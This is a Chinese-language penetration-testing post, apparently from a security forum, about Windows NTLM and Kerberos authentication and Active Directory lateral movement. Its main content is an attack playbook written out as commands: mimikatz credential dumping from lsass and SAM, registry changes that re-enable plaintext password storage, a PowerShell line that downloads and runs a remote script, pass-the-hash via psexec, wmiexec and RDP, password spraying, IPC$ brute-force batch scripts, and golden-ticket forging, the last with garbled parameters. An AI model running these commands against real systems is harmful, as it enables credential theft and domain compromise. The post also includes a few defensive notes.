加密方式

windows中hash结构一般为username:RID:LM-hsah:NTLM-hash,windwos 2000之后LM-hash都为空,因为很容易破解一般被禁用。NTLM密码hash保存在%SystemRoot%\System32\config\SAM,在域中,用户信息保存在C:\Windows\NTDS\NTDS.dit

windows中密码格式:Username:RID:LM-Hash:NT-Hash,在LM禁用的版本中为空值。

LM-hash

windows7默认禁用LM-hash加密,本地安全策略-》本地策略-》安全选项,将不储存LAN管理器哈希值改为禁用。

特点:

  1. 口令不区分大小写

  2. 口令长度最多为14字节,如果没有超过7字节后面8字节是固定的

  3. DES算法强度不够(字符串 “KGS!@#$%”为Key)

NTLM hash

在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash

  1. 加密流程:先转换为16进制,unicode转换,MD4加密

Net-NTLM Hash

指网络环境下的NTLM认证中的Hash

在NTLM协议中,NTLM响应就分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法

所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash

就是NTLM协议中,客户端获取challenge后使用自己的NTLM hash对其进行加密的结果。(就是Response)

这一类hash不能用于PTH,但是能够暴力破解出密码

自Windows Vista/Server2008开始,系统默认禁用Net-NTLMv1,使用Net-NTLMv2

v1格式:username::hostname:LM response:NTLM response:challenge

v2格式:username::domain:challenge:HMAC-MD5:blob

Net-NTLMv1加密利用思路

修改注册表开启v1:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

加密流程

服务端返回8位challenge
客户端收到challenge后,使用用户密码Hash加密challenge,作为response(加密算法为3DES)

利用思路

在控制challenge后在短时间内通过彩虹表还原出用户的NTLM Hash

利用工具:https://github.com/eladshamir/Internal-Monologue

NTLM破解工具:https://hashcat.net/wiki/doku.php

Net-NTLMv2

与v1不同的是 challenge有16位,加密算法是HMAC-MD5

windwos认证流程

winlogon.exe -》用户输入 -》 lsass.exe -》 认证

用户输入密码后交给lsass.exe进程,它会先保存一份明文密码,将明文密码加密为NTLM Hash,与SAM数据库进行比较。

相关协议

LM

早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称LM,它是如此简单以至很容易就被破解,现在又有了NTLM以及Kerberos。

  1. A向B发起请求
  2. B返回A一个8字节的响应码

  3. A将自己的LM Hash分成三部分,每组7字节,每组都使用响应码对其进行加密,然后发送给B。

  4. 然后B也执行和A相同的操做,不过LM Hash是储存在服务器中的A的LM Hsah。

  5. 如果比对一样则通过验证。

NTLM

NTLM是一种认证协议,NTLM采用质询/应答(Challenge/Response)的消息交换模式,在域中优先使用Kerberos协议,但是也可以使用NTLM

  1. 用户输入账号密码登录Windows,客户端缓存输入密码的hash值。
  2. 客户端向服务器发送请求,请求包括明文表示的用户名。

  3. 服务端判断用户名是否存在,存在则生成16位challenge保存并返回给客户端。

  4. 客户端收到challenge后使用密码hash进行加密,然后发送给服务器(发送的就是Response)。

  5. 服务器收到后利用自己数据库中的密码hash加密challenge,然后进行比较

  6. 在域中第5步则是:

    1. 在域中服务器会发送给DC,包括客户端用户名,客户端密码hash值加密的challenge,原始challenge
    2. DC根据用户名在数据库中查找密码hash。对challenge进行加密比对,然后将结果返回给客户端。

明文并没有在两者之间传输,使用的是NTLM Hash,如果攻击者获得了NTLM Hash,就可以进行Hash传递攻击(Pass The Hash)

Kerberos

Kerberos是一种网络认证协议,在网络上传输的数据包可以被任意地读取,修改,和插入数据时,Kerberos任然被认为是一种可信任的第三方服务

参与角色:客户端,服务器,KDC(密钥分发中心)= DC

AD目录

AD储存关于网络对象的信息,使管理员能够轻松查找这些信息

网络对象划分为:用户,用户组,计算机,域,组织单位,安全策略

KDC组成

AD:储存所有客户白名单,只有在白名单中的客户端才可以申请TGT

AS:为客户端生成TGT的服务

TGS:为客户端生成某个服务的ticket

从物理层面看AD域KDC都是域控

Kerberos认证流程

一。客户端认证(Client-AS

AS-REQ:Hash传递攻击,域外用户枚举,密码喷洒攻击,pass the hash with remote desktop,KB22871997

  1. 客户端向服务端发送客户端信息和相应的请求(消息1)

    1. 用户的标识和请求的服务
    2. 预认证数据,Hash加密的时戳

AS-REP:黄金票据,AS-REP Roasting攻击

  1. kerberos检查该用户是否在本地数据库中,解密时间戳,然后返回两条信息(消息2)

    1. Client/TGS会话密钥(Client/TGS Session key), 用于客户端与TGS之间的通信,使用客户端的NTLM Hash加密(消息2a)
    2. 票据授权票据(Ticket Granting Ticket),包含Client/TGS会话密钥,用户ID,用户网址,消息2有效期,通过TGS密钥进行加密。(消息2b)
  2. 客户端收到消息后,使用自己的NTLM Hash解密消息2a,得到TGS会话密钥。

二。服务授权(Client-TGS)

  1. 客户端想要申请服务的时候,向TGS发送两条消息:

    1. 消息2b(就是TGT),想要获取的服务ID。
    2. 认证符(Authenticator),包含用户ID和时间戳,使用Client/TGS会话密钥进行加密。
  2. Kerberos收到客户端的消息后,TGS先在KDC中查找服务ID是否存在,然后使用自己的TGS密钥解密消息客户端发送过来的消息2b,得到Client/TGS会话密钥

TGS-REP:SPN,Kerberosast攻击,白银票据

  1. 使用Client/TGS会话密钥解密消息4b,核对完成后向客户端发送:

    1. 客户端-服务器票据(Client-Server-Ticket),包含Client/SS会话密钥(Client/Server Session key),用户ID,用户网址,票据有效日期。使用服务器密钥加密。
    2. Client/SS会话密钥,使用Client/TGS密钥加密。
  2. 客户端收到消息后使用2a解密得到的Client/TGS密钥解密消息6b,得到Client/SS会话密钥。

三。服务请求

  1. 客户端向服务发起请求:

    1. 发送消息6a。
    2. 新的Authentication(用户ID,时间戳),使用Client/SS会话密钥加密。
  2. 服务器收到消息后,使用自己的服务器密钥解密接收到的消息6a,得到Client/SS密钥,在使用Client/SS密钥解密消息8b,获取Authentication,获取用户ID和时间戳。此时服务器就可以给客户端提供服务了,向服务端发送一条消息:

    1. 新的时间戳,使用Client/SS加密

四。客户端与服务沟通

  1. 客户端拿到消息9a后,使用Client/SS解密,验证时间戳,确认服务器身份,然后开始请求。

五。Kerberos的缺点

  1. 如果Kerberos挂了,就无法请求服务。
  2. 时间需要统一,因为票据具有时效性,时间不能超过10分钟

  3. DC被控,整个域就完了

  4. 客户端防御差,用户密码Hash也会被拿走

横向移动

根据Kerberos的不同流程,可以造成不同的攻击。

抓取密码

Wdigest Auth

https://mp.weixin.qq.com/s/wBgAOb3toxseqwHMToU6nQ

https://baijiahao.baidu.com/s?id=1611387816169124711&wfr=spider&for=pc

mimikatz能导出明文的原因是因为wdigest SSP保存了可逆的密码密文。

在KB2871997之前有其他的SSP也能保存明文,windwos在安装KB2871997补丁或者版本大于Windows 10和Windows Server 2012时,禁止在内存中保存明文密码,但可以通过修改注册表读取。

KB2871997补丁默认禁用了Wdigest Auth,lsass不保存明文密码,但是某些服务需要用Wdigest Auth,所以还能手动开启。

Wdigest作用

与NTLM一样是一种挑战认证协议,只能用于域账户认证,只要用于IIS和LDAP。它的出现主要是为了代替HTTP BASIC,HTTP BASIC会将密码以base64的方式发送。

Digest验证方式

Digest是对RFC 2069和RFC 2617的实现,由于在计算hash的时候需要用到明文密码,所以为了实现认证,只能将密码保存在内存中。

Digest服务端

由于Digest服务需要计算客户端返回的response,也需要保存明文密码,这里就涉及Reversible Encryption功能。

  1. Reversible Encryption

默认情况下域账号都是关闭这个功能的,所以默认不能使用Wigest认证,域数据库里只保存了hash没有保存密码。

  1. Advanced Digest

从windows 2003开始,wdigest.dll就是实现Advanced digest,它不在储存明文密码。保存明文密码是因为我们需要算出hash值,Advanced digest会先计算出hash值并保存。实际上域里一共保存了29中hash。

不过这也只能杜绝服务端保存明文。

由于客户端可能与任何域进行认证,所以无法预先计算hash。

开启Wdigest Auth

1. cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest  UseLogonCredential /t REG_DWORD /d 1 /f 
2. powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
3. meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
关闭只需将最后的1改为0

关闭之后需要重新登录才能获取密码,强制锁屏

1. cmd
rundll32 user32.dll,LockWorkStation
2. powershell
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"

mimikatz

需要管理员权限,因为要读取lsass进程。高版本需要开启Wdigest Auth才能读取明文密码。

privilege::debug  #提权
#读取lsass进程
    sekurlsa::logonpasswords 
读取SAM表
    token::elevate
  lsadump::sam

防御方法:mimikatz需要与lsass进程进行交互,需要Debug权限,而DeBug权限在Administrators组所有,所以在配置权限的时候可以将Administrators组中拥有DeBug权限的账号移除,mimikatz再次使用privilege::debug时就会出错。

win+r输入secpol.msc

Additional LSA Protection

为lsass进程提供保护,在win8.1,win server 2012 r2及以上版本有效。

启用方法

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1

重启之后无法读取密码,但是可以在mimkatz同级目录下使用mimidrv.sys绕过

procdump

  1. dump lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

  1. 读取密码
sekurlsa::minidump lsass.dmpsekurlsa::tspkgsekurlsa::logonpasswords

SAM表

离线获取SAM表

# cmd管理员reg save HKLM\SYSTEM systemreg save HKLM\SAM sam# mimikatz读取lsadump::sam /sam:sam /system:system

msf

加载mimikatz:load mimkatz明文密码:wdigest密码hash:msv执行mimikatz命令:mimikatz_command -f sekurlsa::logonpasswords

powershell

Invoke-Mimikatz.ps1:https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

转储进程

# mimikatzsekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full

获取RDP密码

win10 失败

RDP凭据目录:C:\Users\用户名\AppData\Local\Microsoft\Credentials

获取命令:cmdkey st或powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force

  1. 获取连接主机的ip

工具:https://github.com/3gstudent/List-RDP-Connections-History

./ListLogged-inUsers.ps1

使用cmd

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

  1. 获取密码
查看凭据dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*使用mimikatz =》 .\mimikatz.exe ;提权 =》 privilege::debugdpapi::cred /in:C:\Users\de1ay\AppData\Local\Microsoft\Credentials\SSESSION##如果没有得到密码 需要手动输入masterkey,上面的命令可以看见guidmasterkey找到所有masterkey,通过相同的guidmasterkey获取masterkeysekurlsa::dpapidpapi::cred /in:C:\Users\de1ay\AppData\Local\Microsoft\Credentials\SESSION /masterkey:masterkey

横向(AS-REQ)

PTH

由于windows认证采用NTLM协议,并没有传递明文密码,通过获取管理员LM hash或者NTLM hash就可以登录其他主机,获取其他主机权限

使用环境:域,工作组

版本限制:

  1. Windows NT 5.x中,管理员组账号均能获取系统管理权
  2. Windows NT 6.x中,管理员组(除SID500账户)不能获取管理员权限

使用条件:要登录的用户是域管理员组(域)或者管理员组(工作组),知道前面账号的密码hashHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken的值需要为0,如果为1则管理员也无法通过网络登录的方式获取高权限。如果HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy值为1,则所有管理员组账户都能获取高权限。

mimikatz

条件:需要管理员权限

mimikatzlog log.txt #将接下来的输出结保存到当前目录下的log.txt中,方便复制privilege::debugsekurlsa::pth /user:xxx /domian:xxx /ntlm:xxxx(32位)

工作组

获取hash后sekurlsa::pth /user:administrator /domian:workgroup /ntlm:xxxx(32位)成功之后弹出的cmd执行ipc命令 可以不用输入密码了

impacket工具包

python版:https://github.com/SecureAuthCorp/impacket

exe版:https://github.com/maaaaz/impacket-examples-windows

psexec

获取的是机器system权限

  1. 使用NTLM协议
psexec.exe -hashes LM hash:NTLM hash domain/username@x.x.x.xpsexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/administrator@10.10.10.11LM Hash可以为空工作组中domain/username就改为机器名/username,就是whoami

  1. 使用Kerberos协议

当在域环境中时,如果指定IP访问,会使用NTLM协议进行身份认证,因为没有提供SPN(server principal name)

指定psexec指定-k参数使用kerberos协议

setspn -q */*查看SPN

psexec.exe de1ay.com/administrator@web-sc.de1ay.com -hashes f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 -k

wmiexec

获取登录账号权限

wmiexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/pc32@10.10.10.12

smbexec
smbexec.exe -hashes :161cff084477fe596a5db81874498a24 de1ay/administrator@10.10.10.12

禁用NTLM协议

域控中 本地安全策略

使用kerberos协议PTH

KB2871997

  1. 支持Protected User
  2. 支持Restricted Admin RDP模式

  3. 注销后删除内存中的凭据

  4. 添加两个新SID

  5. lsass中只允许wdigest储存明文密码,默认禁用

是否能阻止PTH

没有安装KB2871997

域中账户:

  1. 域管de1ay\administrator(成功)

  1. 普通域账户添加到本地管理员de1ay\pc(成功)

  1. 本地sid500管理员sc\administrator(成功)

  1. 本地普通管理员sc\test_admin(失败)

安装KB2871997

然而结果并没有变化

结论

事实上是否能PTH取决于UAC

administrator的sid为500,而域账号使用的是域内的sid,本地普通管理员无法PTH正是被UAC拦截了。

Protected User组

该组成员会强制使用kerberos认证,并且使用AES加密。

两个SID

S-1-5-113和S-1-5-114

S-1-5-113为全部本地账户S-1-5-114是本地administrator组账户

域账户并不受影响

PTK

mimikatz

sekurlsa::pth /user:administrator /domain:alanlitl.com /aes256:xxxxxxx在弹出的cmd中连接其他主机即可

域外用户枚举

域外主机也能与域控进行交互,只要能访问域控的88端口,就能利用kerberos协议的AS-REQ阶段,通过这种方式去枚举用户名。

优点:不会产生大量日志

  • 验证成功:产生日志 4768 - A Kerberos authentication ticket (TGT) was requested
  • 验证失败:产生日志 4771 - Kerberos pre-authentication failed

攻击方法

kerbrute:https://github.com/ropnop/kerbrute/

  1. 爆破用户:kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d de1ay.com user.txt

  1. 爆破密码:kerbrute_windows_amd64.exe passwordspray -d 1qaz@WSX user.txt 1qaz@WSX

  1. 产生的日志

  1. pyKerbrute
https://github.com/3gstudent/pyKerbrute
  • 增加对TCP协议的支持
  • 增加对NTLM hash的验证

  • EnumADUser

  • 支持TCP和UDP

  • TCP:python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt tcp

  • UDP:python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt udp

  • ADPwdSpray.py

  • 支持TCP UDP 和明文,NTLM hash

  • 明文:python2 ADPwdSpray.py x.x.x.x de1ay.com user.txt clearpassword 1qaz@WSX tcp

  • NTLM Hash:python2 ADPwdSpray.py x.x.x.x de1ay.com user.txt ntlmhash xxxxxxxxxxxxxxxxxxx tcp

密码喷洒攻击

利用工具:https://github.com/dafthack/DomainPasswordSpray

指定参数

Domain 指定域RemoveDisable 删除禁用的用户  RemovePotentialLockouts 删除锁定账户UserList 自定义用户列表Password 指定单个密码         PasswordList 指定密码字典OutFile 结果保存到文件        Force 枚举出一个后继续枚举
  1. 获取域用户

  2. powershell执行:import-module .\DomainPasswordSpray.ps1;get-domainuserlist

  3. net user /doamin

  1. 爆破

  2. Import-Module .\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password 1qaz@WSX

RDP 横向

RDP Hash传递

windows server 2012 R2,win8.1默认支持,Windows 7 和 Windows Server 2008 R2 需要安装KB2871997和KB2984972。详细

  1. 受限制模式本意是防止从内存中获取用户凭证,当没有开启受限管理员模式并且没有打上KB2871997时,我们可以在内存中获取用户明文和Hash,也可以使用缓存的凭据去访问其他服务(smb等等)。
  2. 当开启受限管理员时(客户端使用mstsc /restrictedadmin启动),如果本机用户名密码与要登录远程主机相同那么就会直接登录,就算不同也会在计算出所需要的值后发送给远程主机,此时使用mimikatz读取内存,就无法读取到远程登录明文密码,Hash。
查看远程桌面是否打开 0开启,1关闭REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections开启远程桌面(1改为0就是关闭) wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1  开启3389REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f检查3389是否打开tasklist /svc | find "TEermServic"netstat -ano | find "上面查到的进程号"或者netstat -ano | find "3389"开启Restricted admin modeREG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f使用linux客户端apt-get install freerdp-x11xfreerdp /u:administrator /pth:161cff084477fe596a5db81874498a24 /v:192.168.62.134 /cert-ignore如果提示身份验证错误,在服务端执行REG add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

IPC$

IPC$(Internet process connection)让进程间通信而开放的命名管道,通过提供可信的用户名和口令,建立安全的通道进行数据交换,基于SMB协议,所以IPC$默认走445端口,要是不通则走139端口(开启NBT情况下)。

直接使用IPC命令

使用条件:

  1. 开放139,445端口
  2. 目标开启IPC$文件共享

  3. 获取用户账号密码

建立连接net use \\10.10.10.12\ipc$ /user:administrator "1qaz@WSX"删除连接net use \\10.10.10.12\ipc$ /del查看文件dir \\192.168.242.134\c$复制文件copy mimikatz.exe \\x.x.x.x\c$\temp\mimikatz.exe创建任务schtasks /create /tn "test /tr calc.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"直接运行任务schtasks /run /tn "test" /S 192.168.242.134 /u administrator /p "1qaz@WSX"删除任务schtasks /F /delete /tn "plugin_update" /S 192.168.242.134 /u administrator /p "1qaz@WSX"

使用psexec

通过ipc$连接,在目标机器传送psexesvc.exe,创建并启动服务,客户端连接。

利用工具:Metasploit的psexec psexec psh, Impacket工具包的psexec, pth-winexe, Empire Invoke-Psexec,windows的PsExec

优点:获取的是system权限

缺点:需要启动服务,特征明显容易被杀,需要开启admin$

  1. PsExec
net use \\x.x.x.x\ipc$ "password" /user:de1ay\administratorPsExec.exe -accepteula \\10.10.10.10 -s cmd.exe

爆破

有密码

@echo offclsecho Useage: %0 ip.txt pass.txtfor /f %%t in (%1) do (FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txtnet use \\%%t\ipc$ "%%i" /user:"localhost\Administrator"  >NUL 2>NULIF NOT errorlevel 1 (echo %%i  t:%%t>> pic.txtnet use \\%%t\ipc$ /del)net use * /del /y >NUL 2>NUL))echo end >> end.txt

无密码

@echo offclsecho Useage: %0 ip.txtfor /f %%t in (%1) do (echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txtnet use \\%%t\ipc$ "" /user:"localhost\Administrator"  >NUL 2>NULIF NOT errorlevel 1 (echo success:%%t>> pic.txtnet use \\%%t\ipc$ /del)net use * /del /y >NUL 2>NUL)echo end >> end.txt

端口禁用

防火墙关闭两个端口

开启445

开启139

横向(AS-REP)

黄金票据

黄金票据是伪造TGT票据,没有进行AS-REQ和AS-REP通信。

伪造黄金票据要求:

  1. 域名称
  2. 域SID值

  3. krbtgt账户Hash

  4. 伪造用户名

特点

  1. KDC不会检查TGT中的用户,知道TGT超时20分钟,所以攻击者能使用禁用,删除甚至是不存在用户。
  2. 票据有效时间以票据为准

  3. 不管有没有加入域,只要能在网络上访问,就能造成攻击

伪造票据

使用mimikatz

  1. 获取krbtgt hash
在域控上导出hashlsadump::dcsync /domian:de1ay.com /user:krbtgtlsadump::lsa /patch
  1. 伪造票据

找到一下信息

域名,sid,aes256或者ntml

kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-502 /aes256:S-1-5-21-2756371121-2868759905-3853650604-502 /user:administrator /ticket:gold.kirbikerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-502 /krbtgt:S-1-5-21-2756371121-2868759905-3853650604-502 /user:administrator /ticket:gold.kirbi
  1. 使用票据
kerberos::list  #查看票据kerberos::purge #清空票据kerberos::ptt gold.kirbi #注入票据
  1. 获取权限

使用psexec或者wmi都可以

需要使用机器名

PsExec.exe -accepteula //DC.de1ay.com -s cmd如哦开启了RPC服务,可以使用wmiexec连接cscript wmiexec.vbs /shell 10.10.10.10

局限性及其绕过

局限:

由于mimkatz通过RID(相对安全标记符)向票据添加组成员资格,因此在多域中,无法向其它域提供权限。

绕过:

在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。

新版的mimikatz可以将历史SID记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域受到攻击,整个域都会受到威胁。

防御:

在Active Directory林中的信任之间启用SID筛选可以防止绕过黄金票据局限性。

黄金票据防御

定期修改krbtgt密码

限制管理员账户在其他主机上登录,委派给其他账户相关权限代替管理员账户。

点击收藏 | 6 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖